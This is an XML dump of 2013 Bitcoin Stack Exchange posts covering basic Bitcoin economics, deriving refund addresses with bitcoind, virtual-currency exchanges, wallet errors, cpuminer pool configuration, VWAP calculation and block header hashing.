  <row Id="12983" PostTypeId="2" ParentId="12982" CreationDate="2013-08-27T23:43:54.103" Score="0" Body="&lt;p&gt;(Answering in order):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin is a currency defined by a consensus of the people. Bitcoin takes money out of the hands of bureaucrats and into the hands of the people.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mined bitcoins are the start of their life. The miner will most likely sell them for power and more mining equipment (probably with a exchange to fiat in there).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same way as USD. Do jobs, get currency.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The value of a bitcoin is determined by those who trade it. Exchanges like &lt;a href=&quot;https://bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt; and &lt;a href=&quot;https://mtgox.com&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt; are a somewhat centralized way of defining a value of a bitcoin to fiat, which in turn can be used as the fiat &amp;lt;-&gt; item value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2013-08-27T23:43:54.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12984" PostTypeId="2" ParentId="9441" CreationDate="2013-08-27T23:46:07.283" Score="0" Body="&lt;p&gt;Should work just fine. Will be slow at the beginning, I recommend running the clients on the clearnet just to get the majority of the blockchains, then connect to Tor and start actually using the clients.&lt;/p&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2013-08-27T23:46:07.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12985" PostTypeId="1" CreationDate="2013-08-28T00:09:40.827" Score="1" ViewCount="507" Body="&lt;p&gt;I understand that I could calculate my hashrate and thus expected profitability per hardware speed, but I don't understand how to valuate what market price 'should' be and how to actually valuate an alt-coin.  I am trying to get past feelings based speculation and want feedback from what other crypto day traders do.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-08-28T00:09:40.827" Title="How would i use a quantitative data site like coinmarketcap.com?" Tags="|alternatives|speculation|currencies|" AnswerCount="0" CommentCount="3" ClosedDate="2013-11-06T16:55:19.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="12986" PostTypeId="2" ParentId="12982" CreationDate="2013-08-28T00:14:27.007" Score="5" Body="&lt;p&gt;Taking your questions in order:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How yet another &quot;currency&quot; will solve anything, or what Bitcoin is supposed to be solving?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because this is a currency that has different properties that avoid the properties of other currencies that create these problems. For example, the supply of Bitcoins is fairly precisely defined and nobody can devalue them through direct supply inflation. Nobody can discover an asteroid full of Bitcoins and increase their supply.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How computers are creating currency that I'm supposed to trade my labour(or fruits of) to a human being who somehow claims ownership of this currency?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's the same way other decentralized currencies work. If you use, for example, gold as a currency, someone goes to the effort of mining the gold. Then they trade that gold for other goods and services they need to continue mining. Others trade goods and services for the mined gold. With Bitcoin, computation work is needed to secure the transactions, miners get newly-created currency in exchange for this service. You have to distribute a decentralized currency somehow.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to become the owner of such currency?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Buy it on the open market. There are many sites where you can buy Bitcoins. You can't really mine Bitcoins at a profit easily -- if you could, then the number of miners will increase and they'll each get smaller shares. This will tend to keep mining just barely profitable, for those who do it well, over the long term.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How the value of this currency is determined, if it came from nothing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same way as the value for anything else is determined, supply and demand. It's value is whatever price buyers and sellers meet at.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-08-28T00:14:27.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12987" PostTypeId="1" AcceptedAnswerId="12991" CreationDate="2013-08-28T00:30:11.763" Score="3" ViewCount="1634" Body="&lt;p&gt;I'm trying to determine the source address of transactions for automated refunding, but I'm seeing unexpected output from Bitcoin-QT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction in question on blockexplorer: &lt;a href=&quot;http://blockexplorer.com/testnet/tx/8bc80f72d9cc6fecda77138e7364f95b48d652db404889deafd48158dc46387e&quot; rel=&quot;nofollow noreferrer&quot;&gt;8bc80f72d9cc6fecda77138e7364f95b48d652db404889deafd48158dc46387e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And below is the result of &lt;code&gt;bitcoind gettransaction&lt;/code&gt; for the same txid. Shouldn't I see the same thing? Or is there some issue with inter-wallet sending?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;amount&quot; : 0.00000000,&#xA;&quot;fee&quot; : -0.00010000,&#xA;&quot;confirmations&quot; : 1,&#xA;&quot;blockhash&quot; : &quot;0000000000941dab82b8f78596f93832104288c85e7951b5f505b8c1c30dd4ba&quot;,&#xA;&quot;blockindex&quot; : 1,&#xA;&quot;blocktime&quot; : 1377648593,&#xA;&quot;txid&quot; : &quot;8bc80f72d9cc6fecda77138e7364f95b48d652db404889deafd48158dc46387e&quot;,&#xA;&quot;time&quot; : 1377648549,&#xA;&quot;timereceived&quot; : 1377648549,&#xA;&quot;details&quot; : [&#xA;    {&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;address&quot; : &quot;n1SrgGXRGjK2gKcvSDRVUDPA1aVKBaG6PQ&quot;,&#xA;        &quot;category&quot; : &quot;send&quot;,&#xA;        &quot;amount&quot; : -0.10000000,&#xA;        &quot;fee&quot; : -0.00010000&#xA;    },&#xA;    {&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;address&quot; : &quot;mtjmGtkZet4Y7rzQrC8cweuJMYGZFpPw4d&quot;,&#xA;        &quot;category&quot; : &quot;send&quot;,&#xA;        &quot;amount&quot; : -0.10000000,&#xA;        &quot;fee&quot; : -0.00010000&#xA;    },&#xA;    {&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;address&quot; : &quot;n4N4hQZK1sgHv8z3ikHsuN98vGNhshQZSo&quot;,&#xA;        &quot;category&quot; : &quot;send&quot;,&#xA;        &quot;amount&quot; : -0.10000000,&#xA;        &quot;fee&quot; : -0.00010000&#xA;    },&#xA;    {&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;address&quot; : &quot;mvw4DVoSL7APFGdHb2RGYebzBKDBankTAM&quot;,&#xA;        &quot;category&quot; : &quot;send&quot;,&#xA;        &quot;amount&quot; : -0.99950000,&#xA;        &quot;fee&quot; : -0.00010000&#xA;    },&#xA;    {&#xA;        &quot;account&quot; : &quot;account1&quot;,&#xA;        &quot;address&quot; : &quot;n1SrgGXRGjK2gKcvSDRVUDPA1aVKBaG6PQ&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 0.10000000&#xA;    },&#xA;    {&#xA;        &quot;account&quot; : &quot;account2&quot;,&#xA;        &quot;address&quot; : &quot;mtjmGtkZet4Y7rzQrC8cweuJMYGZFpPw4d&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 0.10000000&#xA;    },&#xA;    {&#xA;        &quot;account&quot; : &quot;account3&quot;,&#xA;        &quot;address&quot; : &quot;n4N4hQZK1sgHv8z3ikHsuN98vGNhshQZSo&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 0.10000000&#xA;    },&#xA;    {&#xA;        &quot;account&quot; : &quot;account4&quot;,&#xA;        &quot;address&quot; : &quot;mvw4DVoSL7APFGdHb2RGYebzBKDBankTAM&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 0.99950000&#xA;    }&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;And here is the result of combining &lt;code&gt;getrawtransaction&lt;/code&gt; and &lt;code&gt;decoderawtransaction&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;txid&quot; : &quot;8bc80f72d9cc6fecda77138e7364f95b48d652db404889deafd48158dc46387e&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;f96590f6db1e8748f349e93ae5e1e335c57d55df9a26a70f99e7c06b32538f16&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;304502201d7a5a31936d9a4a0ff17f357dda13e87d7459a7663d127da783865858b552c5022100bac9edf373d42c578c92231cc096a620baa174d7bf141c519047b3ca5dc3577101 03f5fd9f5ad8f4a5ac11c9c8e6f6b094129dbc3d8a9f753dc8d415c5c42a5cccfa&quot;,&#xA;            &quot;hex&quot; : &quot;48304502201d7a5a31936d9a4a0ff17f357dda13e87d7459a7663d127da783865858b552c5022100bac9edf373d42c578c92231cc096a620baa174d7bf141c519047b3ca5dc35771012103f5fd9f5ad8f4a5ac11c9c8e6f6b094129dbc3d8a9f753dc8d415c5c42a5cccfa&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 0.10000000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 da9c29ba563c33688e8e1d85b84a634a271b5282 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914da9c29ba563c33688e8e1d85b84a634a271b528288ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;n1SrgGXRGjK2gKcvSDRVUDPA1aVKBaG6PQ&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.10000000,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 9105d7f92fd467f0035cd4b5b58bea1167647618 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a9149105d7f92fd467f0035cd4b5b58bea116764761888ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;mtjmGtkZet4Y7rzQrC8cweuJMYGZFpPw4d&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.10000000,&#xA;        &quot;n&quot; : 2,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 fa9c7e784bfae5e3d330cba28b73c804da71f213 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914fa9c7e784bfae5e3d330cba28b73c804da71f21388ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;n4N4hQZK1sgHv8z3ikHsuN98vGNhshQZSo&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.99950000,&#xA;        &quot;n&quot; : 3,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 a918d01415a09ee82034f1dce3217741dcdf5849 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914a918d01415a09ee82034f1dce3217741dcdf584988ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;mvw4DVoSL7APFGdHb2RGYebzBKDBankTAM&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a reference stating the only way is to identify the output index of the previous transaction: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12472/3413&quot;&gt;https://bitcoin.stackexchange.com/a/12472/3413&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is accurate, then to determine the &quot;refund&quot; address of a particular transaction, you would have to run the following pseudocode?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txhex = getrawtransaction(targettxhash)&#xA;txjson = decoderawtransaction(txhex)&#xA;foreach txinput in txjson.vin:&#xA;  txhexprev = getrawtransaction(txinput.txid)&#xA;  txjsonprev = decoderawtransaction(txhexprev)&#xA;  foreach txprevoutput in txjsonprev.vout:&#xA;    txrefundarray[] += {'address':txprevoutput.scriptPubKey.addresses[0], 'amount':txprevout.value} // 0th address only doesn't support multi-sig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3413" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-08-28T03:25:28.377" Title="Determining refund addresses with bitcoind" Tags="|blockchain|bitcoind|gettransaction|" AnswerCount="3" CommentCount="1" ClosedDate="2013-10-11T18:46:14.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="12988" PostTypeId="2" ParentId="12987" CreationDate="2013-08-28T00:52:29.373" Score="2" Body="&lt;p&gt;Bitcoin transactions do not have a 'from' address, and certainly no guaranteed way of determining a refund address. Transactions consume and produce coins, and while it is in theory possible to use the addresses the input coins were previously sent to, this is no information you should rely on (nor is it guaranteed to be available, though some sites use this technique).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For received transactions, the reference client lists the address by which you've received coins - not the sender. The best advice for determining a refund address, is for asking it from the customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you need something more automatic, there is a payment protocol being developed that works on top of Bitcoin, and allows negotiating transactions between sender and receiver before broadcasting them on the network. It includes a feature to automatically send a refund address with each transaction.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-08-28T00:52:29.373" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12989" PostTypeId="2" ParentId="12987" CreationDate="2013-08-28T00:56:06.110" Score="0" Body="&lt;p&gt;You &lt;em&gt;should&lt;/em&gt; be seeing the same thing, but it looks like your results from bitcoind don't tell the full story. Everything in the details section is an output of the transaction. (Notice how each item with a category of &quot;send&quot; has a corresponding &quot;receive&quot; item with the same amount negated -- duplicates!) This doesn't actually tell you anything about the inputs. This could be a bug in bitcoind, but more likely there's another way, perhaps an extra command line parameter that will expose the inputs to the transaction as well.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-28T00:56:06.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12990" PostTypeId="1" CreationDate="2013-08-28T03:05:14.717" Score="1" ViewCount="395" Body="&lt;p&gt;i was wondering if there are any exchanges which trade centralized virtual currencies for decentralized virtual currencies. for example, air miles for bitcoin or vice versa. my thinking is that this might externalize the charge-back problem inherent with fiat currency - ie the problem where someone sends fiat to the exchange, in return for bitcoin, then claims the money was stolen or the transaction was somehow illegitimate, and the bank takes the money back off the exchange leaving the user having paid nothing for their bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;of course i'm thinking that the centralized virtual currency also would not have chargebacks, but this may not be the case? here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;linden dollars from second life&lt;/li&gt;&#xA;&lt;li&gt;amazon coins&lt;/li&gt;&#xA;&lt;li&gt;air miles&lt;/li&gt;&#xA;&lt;li&gt;gift voucher codes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2013-11-26T10:10:31.533" Title="bitcoin exchange for other virtual (centralized) currencies" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12991" PostTypeId="2" ParentId="12987" CreationDate="2013-08-28T03:25:28.377" Score="1" Body="&lt;p&gt;Someone has written &lt;a href=&quot;https://bitcointalk.org/index.php?topic=138752.msg1481892#msg1481892&quot; rel=&quot;nofollow&quot;&gt;a python snippet&lt;/a&gt; that attempts to determine the &quot;input addresses&quot; of a particular transaction using the outputs of the previous transaction as a workable, but not 100% unreliable solution. This accomplished what I need.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-08-28T03:25:28.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12992" PostTypeId="2" ParentId="12520" CreationDate="2013-08-28T05:18:47.803" Score="7" Body="&lt;p&gt;For anyone coming across this and wondering if USB miners are still profitable. Try this &lt;a href=&quot;http://mining.thegenesisblock.com/&quot;&gt;site&lt;/a&gt;. But short answer is not anymore. Bitcoin mining has become a big game for big players. Rather invest in big group buys, or convert to scrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrypt mining is mining alt-coins (Litecoin, Feathercoin, WorldCoin, etc). You cant scrypt mine with the Bitcoin Asic miners, but just saying that if you want to mine are about to buy hardware rather look into scrypt mining with GPU's.&lt;/p&gt;&#xA;" OwnerUserId="5061" LastEditorUserId="5061" LastEditDate="2013-08-30T13:05:35.710" LastActivityDate="2013-08-30T13:05:35.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12993" PostTypeId="2" ParentId="12990" CreationDate="2013-08-28T05:54:33.907" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.virwox.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.virwox.com/&lt;/a&gt; is an exchange for virtual currencies, trading among other things Linden dollars.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-28T05:54:33.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12995" PostTypeId="2" ParentId="12857" CreationDate="2013-08-28T16:43:36.587" Score="2" Body="&lt;p&gt;Yes, you can send coins to this new address.  If you restart your client you'll see the address will have moved to your receive list of addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new address initially posts in your address book because of the need to scan the blockchain for all transactions associated with that private key.  But you have to actually restart your client to move the address to your receive list of addresses.&lt;/p&gt;&#xA;" OwnerUserId="4980" LastActivityDate="2013-08-28T16:43:36.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12997" PostTypeId="1" CreationDate="2013-08-28T17:32:32.690" Score="7" ViewCount="8989" Body="&lt;h2&gt;When I try to load my Bitcoin Wallet I get an &quot;Assertion Failed!&quot; window:  here is what the window says:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Program: C:\Program Files\Bitcoin\bitcoin-qt.exe&#xA;File: src/main.cpp&#xA;Line: 1761&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expression: pfork !=NULL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For information on how your program can cause an assertion failure, see the visual C++ documentation on asserts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Press Retry to debug the application - JIT must be enabled)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;(three buttons:)     Abort     Retry    Ignore&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I am a novice and don't know where to start.  I do have a backup on a flash-drive if that is of any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many, many thanks for any help you can give.&#xA;Sincerely&#xA;Douglas (Scotland, UK)&lt;/p&gt;&#xA;" OwnerUserId="6542" LastEditorUserId="3364" LastEditDate="2013-08-30T15:11:14.900" LastActivityDate="2014-11-26T01:43:50.343" Title="&quot;Assertion Failed!&quot; when I try to open Bitcoin Wallet" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12998" PostTypeId="2" ParentId="11829" CreationDate="2013-08-28T19:20:36.950" Score="0" Body="&lt;p&gt;just use cgminer 3.1.1 ... i'm using 4x asic usb miner's... it works fine... and i'm using it on powered hub and raspberry pi&lt;/p&gt;&#xA;" OwnerUserId="6545" LastActivityDate="2013-08-28T19:20:36.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12999" PostTypeId="1" AcceptedAnswerId="13000" CreationDate="2013-08-28T19:37:26.947" Score="1" ViewCount="3214" Body="&lt;p&gt;Suppose I want to find the &lt;a href=&quot;https://en.wikipedia.org/wiki/Volume-weighted_average_price&quot; rel=&quot;nofollow&quot;&gt;VWAP&lt;/a&gt; of BTC-USD in a specific exchange (e.g. Bitstamp) at a specific point in time (e.g. 1/1/2013 00:00:00).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's an easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-08-30T18:30:54.557" LastActivityDate="2013-08-30T18:30:54.557" Title="How do you find historic VWAP at a given time in a specific exchange?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13000" PostTypeId="2" ParentId="12999" CreationDate="2013-08-28T19:47:19.690" Score="2" Body="&lt;p&gt;VWAP isn't calculated at a specific point in time, it is calculated over a period of time (commonly 24 hours or 30 days). A &quot;24-hour VWAP at 1/1/2013 00:00:00&quot; is actually the VWAP over the period from 12/31/2013 00:00:00 to 1/1/2013 00:00:00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate it, you'd want to use the exchange's API to get a list of the trades that were executed on the exchange during this period, where for each trade you have the execution price and the amount of BTC traded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then find the average of the price, weighted by volume; that it, you multiply each price with the corresponding amount, sum all these values, and divide it by the sum of all amounts traded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other sources can provide you with the needed data using their API, such as &lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoincharts also offers this information via its web interface. For Bitstamp data, for example, go to &lt;a href=&quot;http://bitcoincharts.com/charts/bitstampUSD&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/bitstampUSD&lt;/a&gt;, and click on &quot;Load raw data&quot; below the graph. You will get a table with each interval (day by default) and its &quot;Weighted Price&quot; in the last column. If the default chart does not contain the date you are interest in, you can change the date range with the &quot;Time Period&quot; control at the top.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-08-30T10:33:36.030" LastActivityDate="2013-08-30T10:33:36.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13002" PostTypeId="1" AcceptedAnswerId="13003" CreationDate="2013-08-28T20:12:18.027" Score="2" ViewCount="20998" Body="&lt;p&gt;When I run the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd.exe -o http://eu-stratum.btcguild.com:3333 -u username_1 -p password -a sha256d -R 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 miner threads started, using 'sha256d' algorithm.&#xA;Binding thread 0 to cpu 0&#xA;Binding thread 1 to cpu 1&#xA;HTTP request failed: Empty reply from server&#xA;json_rpc_call failed, retry after 2 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="6547" LastEditorUserId="5406" LastEditDate="2016-03-16T10:18:09.870" LastActivityDate="2017-11-25T18:46:43.187" Title="Cpuminer problem: empty reply from server" Tags="|miner-configuration|getwork|minerd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13003" PostTypeId="2" ParentId="13002" CreationDate="2013-08-28T20:51:19.197" Score="5" Body="&lt;p&gt;The miner you are using does not support the &lt;a href=&quot;https://en.bitcoin.it/wiki/Stratum&quot;&gt;stratum protocol&lt;/a&gt;. Instead you must use a pool that uses the old and now obsolete &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot;&gt;getwork protocol&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I see it correctly BTCGuild still offers the getwork access with the following URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd.exe -o http://btcguild.com:8332 -u username_1 -p password -a sha256d -R 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-08-28T20:51:19.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13004" PostTypeId="1" CreationDate="2013-08-28T22:39:23.333" Score="1" ViewCount="398" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt; said this about the block header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Given just those fields, people would frequently generate the exact same sequence of hashes as each other and the fastest CPU would almost always win.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But isn't that exactly what we want?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, they use the merkleRoot which makes the header nearly unique and &quot;Every hash you calculate has the same chance of winning as every other hash calculated by the network.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this change makes CPU speed less important, but not much less important.  How much less important is CPU speed (or even network latency) with the addition of the merkleRoot to the block header?&lt;/p&gt;&#xA;" OwnerUserId="6548" LastEditorUserId="5406" LastEditDate="2016-04-28T12:50:00.610" LastActivityDate="2016-04-28T12:50:00.610" Title="Purpose of unique header in block hashing algorithm" Tags="|mining-theory|mining-technical-details|block-header|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13005" PostTypeId="2" ParentId="13004" CreationDate="2013-08-29T02:22:01.360" Score="1" Body="&lt;p&gt;I think you might have misinterpreted the article. The MerkelRoots is a representation of all the transaction in the block that you're currently trying to mine. They are unique because the first transaction in each block is unique to each miner. The uniqueness guarantees that the sequence of generated hashes will be different for each miner. And because of this uniqueness, the sequence of hashes generated by a low-powered CPU might occasionally lead to the desired result before a high-powered monster CPU does, whereas if everyone were following the same sequence, the high-powered monster CPU would always find the desired result first. So in essence, the first transaction introduces uniqueness that makes CPU speed less important and not the MerkelRoot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, I had almost finished answering the question in a completely different way when I realized the confusion. In case that answer is helpful, here it is ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In mining, you're constantly changing a block (by updating the nonce) and trying to find a hash that meets the proper requirements. You're also changing the transactions in a block, (which also changes it's hash), but this happens much less frequently. Hashing the entire block is an expensive operation, but hashing only a small part is not as expensive. Since you're changing the transactions -- by far the largest part -- much less frequently than the nonce, it makes sense to &quot;cache&quot; the change so that the mining hash operation doesn't take so many resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Merkle Root is this cache, that is, it [compactly] represents any changes in the list of transactions. Thus when you hash the header (which includes any change in the nonce or the transaction), you are still hashing the entire block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that CPUs scale linearly, the answer to your question about how much less important CPU speed is disappointingly probably not at all. The benefit that you get is that any CPU will be able to calculate more hashes per second than with the alternative, and this should be proportional to the CPU's power/clock-speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also mentioned network latency, but as all of the hashing takes place on individual computers and full transactions are sent throughout the network, whether or not a Merkel Root is used wouldn't affect network traffic.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-29T02:22:01.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13006" PostTypeId="2" ParentId="4869" CreationDate="2013-08-29T03:45:24.767" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitoomba.com&quot; rel=&quot;nofollow&quot;&gt;Bitoomba Casino&lt;/a&gt; supports provably fair or fairness verifications the site protected with SSL technology.&lt;/p&gt;&#xA;" OwnerUserId="6143" LastActivityDate="2013-08-29T03:45:24.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
